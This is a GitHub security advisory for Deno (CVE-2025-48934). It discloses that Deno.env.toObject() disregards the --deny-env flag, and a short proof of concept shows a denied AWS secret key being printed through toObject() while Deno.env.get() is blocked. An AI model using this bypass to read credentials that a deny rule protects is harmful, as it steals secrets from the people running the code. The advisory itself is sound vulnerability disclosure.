GHSA-7w8p-chxq-2789
Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The [Deno.env.toObject](https://docs.deno.com/api/deno/~/Deno.Env.toObject) method ignores any variables listed in the `--deny-env` option of the `deno run` command. When looking at the [documentation](https://docs.deno.com/runtime/fundamentals/security/#environment-variables) of the `--deny-env` option this might lead to a false impression that variables listed in the option are impossible to read.
### PoC
```
export AWS_SECRET_ACCESS_KEY=my-secret-aws-key
# Works as expected. The program stops with a "NotCapable" error message
echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \
--allow-env \
--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
# All enviroment variables are printed and the --deny-env list is completely disregarded
echo 'console.log(Deno.env.toObject());' | deno run \
--allow-env \
--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -
```
The first example using `get` exits with the following error:
```
error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag
console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));
^
at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)
at file:///$deno$stdin.mts:1:22
```
The second example using `toObject` prints all environment variables:
```
[Object: null prototype] {
...
AWS_SECRET_ACCESS_KEY: "my-secret-aws-key",
...
}
```
### Impact
Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/denoland/deno/security/advisories/GHSA-7w8p-chxq-2789
- https://nvd.nist.gov/vuln/detail/CVE-2025-48934
- https://github.com/denoland/deno/pull/29079
- https://github.com/denoland/deno/commit/2959e083912420988066a001c2b2d6732a1b562f
- https://github.com/denoland/deno/commit/946ccda1aa19a00c478a5e6826b75053b050d753
- https://docs.deno.com/api/deno/~/Deno.Env.toObject
- https://docs.deno.com/runtime/fundamentals/security/#environment-variables
- https://github.com/denoland/deno